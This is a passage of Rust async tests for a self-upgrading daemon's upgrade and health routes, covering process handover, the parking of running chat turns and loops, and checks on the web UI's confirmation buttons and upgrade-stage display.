20874        assert_eq!(body["retry_after_secs"], 120);
20875        assert!(body["retry_at"].as_u64().is_some());
20876        for _ in 0..2 {
20877            let view = health(State(ui.clone())).await.unwrap().0;
20878            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20879            assert_eq!(failure, body);
20880        }
20881        assert_eq!(
20882            std::fs::read(updater::progress_path(home.path())).unwrap(),
20883            before
20884        );
20885        assert!(!ui.lock_loop().resume_after_handover);
20886        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20887        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20888        // A conflicting request must not erase the actionable earlier failure.
20889        let gate = ui.upgrade_gate.lock().await;
20890        assert_eq!(
20891            upgrade_post(State(ui.clone())).await.status(),
20892            StatusCode::CONFLICT
20893        );
20894        drop(gate);
20895        assert!(
20896            health(State(ui.clone()))
20897                .await
20898                .unwrap()
20899                .0
20900                .upgrade_request_error
20901                .is_some()
20902        );
20903        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20904        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20905        assert!(
20906            health(State(ui.clone()))
20907                .await
20908                .unwrap()
20909                .0
20910                .upgrade_request_error
20911                .is_none()
20912        );
20913        let live = ui.lock_loop().live.take().unwrap();
20914        live.stop.stop();
20915        live.handle.await.unwrap();
20916    }
20917
20918    #[tokio::test]
20919    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20920        use crate::updater::Stage;
20921        let repo = TempDir::new().expect("repo dir");
20922        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20923            .expect("write magi.toml");
20924        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20925        for stage in [Stage::Done, Stage::Failed] {
20926            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20927            let res = fx.post("/api/upgrade", None).await;
20928            assert_eq!(res.status, 200, "{stage:?}");
20929        }
20930        // No record at all, and the gate was released by the earlier calls.
20931        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20932        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20933    }
20934
20935    #[tokio::test]
20936    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20937        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
20938        // and the route answers from its own logic.
20939        //
20940        // This test used to lean on the fixture's placeholder repo failing
20941        // config discovery, which left `mode = "notify"` - and a live,
20942        // unauthenticated call to the GitHub releases API inside a unit test.
20943        // GitHub allows 60 of those an hour per address, so the suite went red
20944        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
20945        // long as somebody kept re-running it: every attempt spent another
20946        // request. Six reruns across four pull requests were charged to that
20947        // before it was read as a rate limit rather than a flake.
20948        //
20949        // What the assertion is about is the "already current" branch, which
20950        // is reached by there being no newer release *or* nowhere to look. The
20951        // second one needs no network and cannot be rate limited.
20952        let repo = TempDir::new().expect("repo dir");
20953        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20954            .expect("write magi.toml");
20955        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20956
20957        // It must answer 200 and leave the process alone: restarting for an
20958        // upgrade that did not happen parks the run in flight and drops every
20959        // connection to pay for nothing. A probe against a deck already on the
20960        // newest build did exactly that, which is how this case got its own
20961        // branch.
20962        let res = fx.post("/api/upgrade", None).await;
20963        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20964        let body = res.json();
20965        assert!(body["to"].is_null(), "there was no release to move to");
20966        assert!(body["parked"].is_null(), "and nothing was parked");
20967        assert!(
20968            body["detail"]
20969                .as_str()
20970                .unwrap()
20971                .contains("nothing restarted"),
20972            "{body:?}"
20973        );
20974    }
20975
20976    #[tokio::test]
20977    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20978        // `mode = "off"` for the same reason as the test above: a default
20979        // fixture repo falls back to `mode = "notify"`, which would make this
20980        // route's new `update` field a live, unauthenticated GitHub call on
20981        // every assertion in this suite that happens to hit `/api/health`.
20982        let repo = TempDir::new().expect("repo dir");
20983        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20984            .expect("write magi.toml");
20985        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20986
20987        let health = fx.get("/api/health").await.json();
20988        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20989        assert_eq!(
20990            health["update"]["available"], false,
20991            "checking is off, which reads as \"unknown\", not \"none\""
20992        );
20993        assert!(health["update"]["to"].is_null());
20994        assert!(
20995            health["upgrade"].is_null(),
20996            "nothing has ever asked this deck to upgrade"
20997        );
20998    }
20999
21000    #[tokio::test]
21001    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21002        let fx = Fixture::start().await;
21003        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21004
21005        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21006        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21007        progress.advance(crate::updater::Stage::Parking);
21008        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21009
21010        let health = fx.get("/api/health").await.json();
21011        assert_eq!(health["upgrade"]["stage"], "parking");
21012        assert_eq!(health["upgrade"]["from"], "0.5.1");
21013        assert_eq!(health["upgrade"]["to"], "0.5.2");
21014        let waiting_on = health["upgrade"]["waiting_on"]
21015            .as_str()
21016            .expect("waiting_on is set while parking a known run");
21017        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21018        assert!(waiting_on.contains("implementing"), "{waiting_on}");
21019    }
21020
21021    #[tokio::test]
21022    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21023        let fx = Fixture::start().await;
21024        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21025        progress.advance(crate::updater::Stage::Done);
21026        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21027
21028        let health = fx.get("/api/health").await.json();
21029        assert_eq!(health["upgrade"]["stage"], "done");
21030        assert!(
21031            health["upgrade"]["waiting_on"].is_null(),
21032            "nothing to wait on once it is done"
21033        );
21034    }
21035
21036    #[tokio::test]
21037    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21038        let home = TempDir::new().expect("temp home");
21039        let runs = home.path().join("runs");
21040        std::fs::create_dir_all(&runs).expect("runs dir");
21041        let ui = Ui::new(
21042            Queue::at(home.path().join("queue")),
21043            Questions::at(home.path().join("questions")),
21044            Talks::at(home.path().join("talks")),
21045            runs,
21046            home.path().to_path_buf(),
21047            PathBuf::from("/repo/magi"),
21048        )
21049        .with_launch(launch_idle);
21050        let looping = ui.looping();
21051        let turns = ui.turns();
21052        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21053            .await
21054            .expect("bind loopback");
21055        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21056
21057        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21058        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21059
21060        hand_over(
21061            home.path(),
21062            &looping,
21063            &turns,
21064            &|_: &[String]| Duration::from_secs(5),
21065            served,
21066            |_| Ok(1),
21067        )
21068        .await
21069        .expect("hand over");
21070
21071        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21072        assert_eq!(
21073            after.stage,
21074            crate::updater::Stage::Restarting,
21075            "hand_over owns the record through parking and up to restarting; \
21076             the successor is what finishes it"
21077        );
21078    }
21079
21080    /// The successor is started exactly once on success, and exactly once on
21081    /// failure too (a failed start is reported, never retried).
21082    #[tokio::test]
21083    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21084        for fail in [false, true] {
21085            let home = TempDir::new().expect("temp home");
21086            let ui = idle_ui(&home);
21087            let looping = ui.looping();
21088            let turns = ui.turns();
21089            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21090                .await
21091                .expect("bind loopback");
21092            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21093            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21094            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21095
21096            let calls = std::sync::atomic::AtomicUsize::new(0);
21097            let outcome = hand_over(
21098                home.path(),
21099                &looping,
21100                &turns,
21101                &|_: &[String]| Duration::from_secs(5),
21102                served,
21103                |_| {
21104                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21105                    if fail {
21106                        anyhow::bail!("no exec")
21107                    } else {
21108                        Ok(4242)
21109                    }
21110                },
21111            )
21112            .await;
21113            assert_eq!(outcome.is_err(), fail);
21114            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21115
21116            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
21117                .expect("upgrade.log is written under the home");
21118            for step in [
21119                "entered",
21120                "finish_loop",
21121                "listener released",
21122                "starting the successor",
21123            ] {
21124                assert!(log.contains(step), "missing `{step}` in:\n{log}");
21125            }
21126            assert!(
21127                log.contains(if fail { "did not start" } else { "pid 4242" }),
21128                "{log}"
21129            );
21130        }
21131    }
21132
21133    /// The handover signal is seen however the race falls, and wakes its one
21134    /// waiter once per signal - nothing here can spin.
21135    #[tokio::test]
21136    async fn the_handover_signal_wakes_one_waiter_once() {
21137        let signal = Notify::new();
21138        // Signalled before anyone waits: the stored permit is not lost.
21139        signal.notify_one();
21140        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21141            .await
21142            .expect("an early signal is still seen");
21143        // One signal, one wake-up: a second wait does not resolve by itself.
21144        assert!(
21145            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21146                .await
21147                .is_err(),
21148            "a consumed signal must not wake a second time"
21149        );
21150        // Signalled while waiting.
21151        let signal = std::sync::Arc::new(signal);
21152        let waiter = tokio::spawn({
21153            let signal = std::sync::Arc::clone(&signal);
21154            async move { wait_for_handover(&signal).await }
21155        });
21156        tokio::time::sleep(Duration::from_millis(20)).await;
21157        assert!(!waiter.is_finished(), "nothing was signalled yet");
21158        signal.notify_one();
21159        tokio::time::timeout(Duration::from_secs(5), waiter)
21160            .await
21161            .expect("a late signal wakes the waiter")
21162            .expect("join");
21163    }
21164
21165    #[tokio::test]
21166    async fn health_says_how_long_a_handover_has_been_stuck() {
21167        let fx = Fixture::start().await;
21168        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21169        progress.advance(crate::updater::Stage::Replaced);
21170        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21171        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21172
21173        let health = fx.get("/api/health").await.json();
21174        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21175        assert!(stuck >= 600, "{stuck}");
21176        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21177        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21178    }
21179
21180    #[tokio::test]
21181    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21182        let home = tempfile::tempdir().expect("temp home");
21183        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21184        progress.advance(crate::updater::Stage::Parking);
21185        crate::updater::write_progress(home.path(), &progress).expect("seed");
21186        // What the second upgrade_and_restart and its handler do.
21187        let mut again = progress.clone();
21188        again.advance(crate::updater::Stage::Replaced);
21189        crate::updater::write_progress(home.path(), &again).expect("replaced");
21190        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21191        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21192        let after = crate::updater::read_progress(home.path()).expect("record");
21193        assert_eq!(after.stage, crate::updater::Stage::Parking);
21194    }
21195
21196    #[tokio::test]
21197    async fn health_does_not_call_a_live_parking_wait_stuck() {
21198        let fx = Fixture::start().await;
21199        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21200        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21201        progress.advance(crate::updater::Stage::Parking);
21202        let hours = Duration::from_secs(3 * 3600);
21203        progress.started_at = Timestamp::now() - hours;
21204        progress.updated_at = Timestamp::now() - hours;
21205        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21206        let _lease = crate::updater::LeaseGuard::enter(
21207            fx.home.path(),
21208            Some("20260905-000000-cd51".to_owned()),
21209        );
21210
21211        let health = fx.get("/api/health").await.json();
21212        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
21213        assert!(health["upgrade"]["stuck_kind"].is_null());
21214        assert_eq!(health["upgrade"]["handover_alive"], true);
21215        let waiting_on = health["upgrade"]["waiting_on"]
21216            .as_str()
21217            .expect("waiting_on");
21218        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21219    }
21220
21221    fn idle_ui(home: &TempDir) -> Ui {
21222        let runs = home.path().join("runs");
21223        std::fs::create_dir_all(&runs).expect("runs dir");
21224        Ui::new(
21225            Queue::at(home.path().join("queue")),
21226            Questions::at(home.path().join("questions")),
21227            Talks::at(home.path().join("talks")),
21228            runs,
21229            home.path().to_path_buf(),
21230            PathBuf::from("/repo/magi"),
21231        )
21232        .with_launch(launch_idle)
21233    }
21234
21235    async fn park_fixture(
21236        home: &TempDir,
21237    ) -> (
21238        Ui,
21239        Arc<Mutex<LoopState>>,
21240        Arc<Mutex<TalkTurns>>,
21241        tokio::task::JoinHandle<std::io::Result<()>>,
21242    ) {
21243        let ui = idle_ui(home);
21244        let looping = ui.looping();
21245        let turns = ui.turns();
21246        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21247            .await
21248            .expect("bind loopback");
21249        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
21250        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21251        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21252        (ui, looping, turns, served)
21253    }
21254
21255    /// The hand-over does not release the address while a chat turn is in
21256    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
21257    /// started once the turn ends.
21258    #[tokio::test]
21259    async fn hand_over_waits_for_a_running_chat_turn() {
21260        let home = TempDir::new().expect("temp home");
21261        let (ui, looping, turns, served) = park_fixture(&home).await;
21262        let ui = Arc::new(ui);
21263        let id = "20260901-000000-chat";
21264        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21265
21266        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21267        let handover = tokio::spawn({
21268            let home = home.path().to_path_buf();
21269            let turns = Arc::clone(&turns);
21270            let calls = Arc::clone(&calls);
21271            async move {
21272                hand_over(
21273                    &home,
21274                    &looping,
21275                    &turns,
21276                    &|_: &[String]| Duration::from_secs(60),
21277                    served,
21278                    move |_| {
21279                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21280                        Ok(1)
21281                    },
21282                )
21283                .await
21284            }
21285        });
21286
21287        let waiting = async {
21288            for _ in 0..200 {
21289                if crate::updater::read_progress(home.path())
21290                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
21291                {
21292                    return;
21293                }
21294                tokio::time::sleep(Duration::from_millis(25)).await;
21295            }
21296            panic!("the park never named the chat turn");
21297        };
21298        waiting.await;
21299        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21300
21301        // A new turn is refused, a queued claim and a direct `/say` see a busy
21302        // slot, and nothing new is live.
21303        let refused = ui.begin_talk_turn("20260901-000000-late").err();
21304        assert!(
21305            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21306            "a direct start says an upgrade is in progress"
21307        );
21308        assert!(
21309            ui.begin_queued_talk_turn("20260901-000000-late")
21310                .expect("queued claim")
21311                .is_none()
21312        );
21313        assert!(matches!(
21314            ui.begin_talk_turn_unless_pending("20260901-000000-late")
21315                .expect("start"),
21316            TalkTurnStart::Busy
21317        ));
21318        assert_eq!(turns.lock().unwrap().live.len(), 1);
21319
21320        // The health text names the turn.
21321        let progress = crate::updater::read_progress(home.path()).expect("progress");
21322        let view = upgrade_progress_view(&ui, progress);
21323        assert!(
21324            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
21325            "{:?}",
21326            view.waiting_on
21327        );
21328
21329        assert!(!handover.is_finished());
21330        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21331        drop(turn);
21332        handover.await.expect("join").expect("hand over");
21333        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21334        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21335    }
21336
21337    /// Chat stays open while the loop is still parking, and closes only once
21338    /// the loop is done; a turn started during the park is waited for.
21339    #[tokio::test]
21340    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
21341        let home = TempDir::new().expect("temp home");
21342        let (ui, looping, turns, served) = park_fixture(&home).await;
21343        let ui = Arc::new(ui);
21344        // A loop that ends only when told to.
21345        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
21346        lock_or_recover(&looping).live = Some(Live {
21347            stop: daemon::Stop::new(),
21348            handle: tokio::spawn(async move {
21349                let _ = loop_ended.await;
21350            }),
21351            opts: daemon::Opts::default(),
21352        });
21353
21354        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21355        let handover = tokio::spawn({
21356            let home = home.path().to_path_buf();
21357            let turns = Arc::clone(&turns);
21358            let calls = Arc::clone(&calls);
21359            async move {
21360                hand_over(
21361                    &home,
21362                    &looping,
21363                    &turns,
21364                    &|_: &[String]| Duration::from_secs(60),
21365                    served,
21366                    move |_| {
21367                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21368                        Ok(1)
21369                    },
21370                )
21371                .await
21372            }
21373        });
21374
21375        let reached = async {
21376            for _ in 0..200 {
21377                if crate::updater::read_progress(home.path())
21378                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
21379                {
21380                    return;
21381                }
21382                tokio::time::sleep(Duration::from_millis(25)).await;
21383            }
21384            panic!("the hand-over never reached parking");
21385        };
21386        reached.await;
21387
21388        // The loop is still parking: a chat turn starts.
21389        assert!(!turns.lock().unwrap().parking);
21390        let turn = ui
21391            .begin_talk_turn("20260901-000000-chat")
21392            .expect("claim")
21393            .expect("a turn can start while the loop parks");
21394
21395        // The loop ends; the slot closes while the first turn is still held.
21396        end_loop.send(()).expect("loop still waiting");
21397        for _ in 0..200 {
21398            if turns.lock().unwrap().parking {
21399                break;
21400            }
21401            tokio::time::sleep(Duration::from_millis(25)).await;
21402        }
21403        assert!(
21404            turns.lock().unwrap().parking,
21405            "closed once the loop is done"
21406        );
21407        let refused = ui.begin_talk_turn("20260901-000000-late").err();
21408        assert!(
21409            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21410            "no turn starts once the loop is done"
21411        );
21412        assert!(
21413            ui.begin_queued_talk_turn("20260901-000000-late")
21414                .expect("queued claim")
21415                .is_none()
21416        );
21417        assert!(!handover.is_finished());
21418        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21419
21420        drop(turn);
21421        handover.await.expect("join").expect("hand over");
21422        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21423        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21424    }
21425
21426    /// A turn that never ends cannot block the upgrade: past the bound the
21427    /// hand-over proceeds and records which talk it gave up on.
21428    #[tokio::test]
21429    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
21430        let home = TempDir::new().expect("temp home");
21431        let (ui, looping, turns, served) = park_fixture(&home).await;
21432        let id = "20260901-000000-stuk";
21433        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21434
21435        let calls = std::sync::atomic::AtomicUsize::new(0);
21436        hand_over(
21437            home.path(),
21438            &looping,
21439            &turns,
21440            &|_: &[String]| Duration::from_millis(300),
21441            served,
21442            |_| {
21443                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21444                Ok(1)
21445            },
21446        )
21447        .await
21448        .expect("hand over");
21449        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21450
21451        let progress = crate::updater::read_progress(home.path()).expect("progress");
21452        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
21453        assert!(
21454            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
21455            "{:?}",
21456            progress.detail
21457        );
21458        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
21459        assert!(
21460            log.contains("handing over anyway") && log.contains(id),
21461            "{log}"
21462        );
21463    }
21464
21465    /// A drain that finds the upgrade parking leaves the queued draft alone
21466    /// and gives the slot up, instead of starting another turn.
21467    #[tokio::test]
21468    async fn drain_loop_starts_no_turn_while_parking() {
21469        let tmp = TempDir::new().expect("tempdir");
21470        let repo = tmp.path().join("repo");
21471        std::fs::create_dir_all(&repo).expect("repo dir");
21472        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
21473        let home = TempDir::new().expect("temp home");
21474        let talks = Talks::at(home.path().join("talks"));
21475        let ui = Ui::new(
21476            Queue::at(home.path().join("queue")),
21477            Questions::at(home.path().join("questions")),
21478            talks.clone(),
21479            home.path().join("runs"),
21480            home.path().to_path_buf(),
21481            repo.clone(),
21482        )
21483        .with_worktrees_root(home.path().join("wt"));
21484        let cfg = config_for(&repo).await.expect("discover config");
21485        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
21486        let id = talk.id.clone();
21487        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
21488        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
21489        let turns = ui.turns();
21490        let parking = ParkingTurns::begin(&turns);
21491
21492        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
21493
21494        assert!(
21495            turns.lock().unwrap().live.is_empty(),
21496            "the slot is given up"
21497        );
21498        let fresh = talks.get(&id).expect("talk");
21499        assert_eq!(fresh.pending, "later", "the draft is still queued");
21500        assert!(fresh.turns.is_empty(), "no turn ran");
21501        drop(parking);
21502    }
21503
21504    /// Run `hand_over` against `ui` and return what the successor was told.
21505    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
21506        let looping = ui.looping();
21507        let turns = ui.turns();
21508        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21509            .await
21510            .expect("bind loopback");
21511        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21512        let told = std::sync::Mutex::new(None);
21513        hand_over(
21514            home.path(),
21515            &looping,
21516            &turns,
21517            &|_: &[String]| Duration::from_secs(5),
21518            served,
21519            |resume| {
21520                *told.lock().unwrap() = Some(resume);
21521                Ok(1)
21522            },
21523        )
21524        .await
21525        .expect("hand over");
21526        told.into_inner().unwrap().expect("successor was started")
21527    }
21528
21529    #[tokio::test]
21530    async fn a_running_loop_is_resumed_by_the_successor() {
21531        let home = TempDir::new().expect("temp home");
21532        let ui = idle_ui(&home);
21533        ui.start_loop(None).expect("start");
21534        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21535        // The idle loop sees the park and ends before the handover fires.
21536        for _ in 0..500 {
21537            if !ui.loop_view(None).running {
21538                break;
21539            }
21540            tokio::time::sleep(Duration::from_millis(2)).await;
21541        }
21542        assert!(handed_over(&home, ui).await, "a running loop must resume");
21543
21544        let successor = idle_ui(&home);
21545        assert!(!successor.loop_view(None).running);
21546        assert!(successor.resume_after_handover(true));
21547        assert!(successor.loop_view(None).running);
21548        successor.stop_loop(None, false).expect("stop");
21549    }
21550
21551    #[tokio::test]
21552    async fn a_second_upgrade_request_keeps_the_resume_intent() {
21553        let home = TempDir::new().expect("temp home");
21554        let ui = idle_ui(&home);
21555        ui.start_loop(None).expect("start");
21556        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21557            .expect("first park");
21558        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21559            .expect("second park");
21560        assert!(handed_over(&home, ui).await);
21561    }
21562
21563    #[tokio::test]
21564    async fn a_stop_during_the_handover_wait_is_honoured() {
21565        let home = TempDir::new().expect("temp home");
21566        let ui = idle_ui(&home);
21567        ui.start_loop(None).expect("start");
21568        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21569        ui.stop_loop(None, false).expect("stop");
21570        assert!(!handed_over(&home, ui).await);
21571    }
21572
21573    #[tokio::test]
21574    async fn an_idle_loop_stays_stopped_across_the_handover() {
21575        let home = TempDir::new().expect("temp home");
21576        let ui = idle_ui(&home);
21577        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21578        assert!(!handed_over(&home, ui).await);
21579
21580        let successor = idle_ui(&home);
21581        assert!(!successor.resume_after_handover(false));
21582        assert!(!successor.loop_view(None).running);
21583    }
21584
21585    #[tokio::test]
21586    async fn a_loop_the_operator_stopped_is_not_resumed() {
21587        let home = TempDir::new().expect("temp home");
21588        let ui = idle_ui(&home);
21589        ui.start_loop(None).expect("start");
21590        ui.stop_loop(None, false).expect("stop");
21591        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21592        assert!(!handed_over(&home, ui).await);
21593    }
21594
21595    #[test]
21596    fn only_an_explicit_one_requests_a_resume() {
21597        assert!(!resume_requested(None));
21598        assert!(!resume_requested(Some("0".into())));
21599        assert!(!resume_requested(Some("".into())));
21600        assert!(resume_requested(Some("1".into())));
21601    }
21602
21603    #[test]
21604    fn the_upgrade_button_arms_before_it_restarts_anything() {
21605        // It ends the process the operator is talking to, and a phone in a
21606        // pocket taps things. One tap arms, the second commits.
21607        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21608        assert!(APP_JS.contains("Replace the binary and restart?"));
21609        assert!(APP_JS.contains("function confirmed("));
21610        // Hidden when the loop is somebody else's, matching the 409 above -
21611        // and hidden with nothing to install, matching the 200 "already
21612        // current" branch: an operator on the newest build must not be
21613        // offered a restart that would only park a run for nothing.
21614        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21615        // A park waits for the node in flight, up to an hour for an implement
21616        // wave. Leaving the button reading "Upgrading…" for that long is the
21617        // same mistake as an error rendered off screen: it looks wedged.
21618        assert!(
21619            APP_JS.contains("Parking, then restarting"),
21620            "the button says what it is waiting for"
21621        );
21622        // And nothing to install must give the button back rather than
21623        // pretending a restart is coming.
21624        assert!(APP_JS.contains("if (!out.to)"));
21625    }
21626
21627    #[test]
21628    fn stopping_the_loop_arms_but_starting_does_not() {
21629        // A stray tap must not leave the queue stopped overnight, so a stop is
21630        // two taps through the same helper the upgrade uses; a start stays one.
21631        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21632        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21633        assert!(APP_JS.contains("confirmed(button, question)"));
21634        // The label put back on timeout is the one saved when arming, not a
21635        // hard-coded upgrade caption that would rename the stop button.
21636        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
21637        assert!(APP_JS.contains("const label = btn.textContent;"));
21638        assert!(!APP_JS.contains("Neither direction is guarded"));
21639    }
21640
21641    #[test]
21642    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21643        assert!(
21644            APP_JS.contains("state.health.version"),
21645            "the operator wants to know what is running even with nothing newer"
21646        );
21647        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21648    }
21649
21650    #[test]
21651    fn the_upgrade_button_names_its_destination() {
21652        assert!(
21653            APP_JS.contains("`Update to ${update.to}`"),
21654            "pressing the button should not be a surprise about what it moves to"
21655        );
21656    }
21657
21658    #[test]
21659    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21660        for stage in ["downloading", "replaced", "parking", "restarting"] {
21661            assert!(
21662                APP_JS.contains(&format!("\"{stage}\"")),
21663                "the phone must be able to tell {stage} apart from the others"
21664            );
21665        }
21666        assert!(APP_JS.contains(".waiting_on"));
21667        // What replaced the bare "Cannot reach magi: Failed to fetch": a
21668        // fetch failing while an upgrade is in flight is not an error, it is
21669        // the sub-second gap `bind_waiting` covers, and it must not be
21670        // reported as one.
21671        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21672        assert!(APP_JS.contains("reconnects on its own"));
21673    }
21674
21675    #[test]
21676    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21677        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21678            ..APP_JS.find("function upgrade(").expect("upgrade")];
21679        assert!(!body.contains(
21680            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
21681        ));
21682        assert!(body.contains("renderUpgradeError();"));
21683        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21684    }
21685
21686    #[test]
21687    fn an_overdue_upgrade_eventually_asks_for_a_human() {
21688        // The ceiling has to clear a full hour-long park with room to spare,
21689        // or an ordinary implement wave would be reported as a stuck upgrade.
21690        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21691        assert!(APP_JS.contains("function upgradeOverdue("));
21692    }
21693
21694    #[test]
21695    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21696        assert!(
21697            APP_JS.contains("Updated to ${upgradeInfo.to"),
21698            "the operator who asked for the restart wants to know it worked"
21699        );
21700    }
21701
21702    #[test]
21703    fn an_error_is_visible_from_where_the_button_is() {
21704        // The alert used to sit in the flow under the header. On a phone
21705        // scrolled 13 500 px down to a run's action sheet that is off screen,
21706        // so tapping Resume and being told "the loop is running run b455
21707        // right now" looked exactly like a button that did nothing.
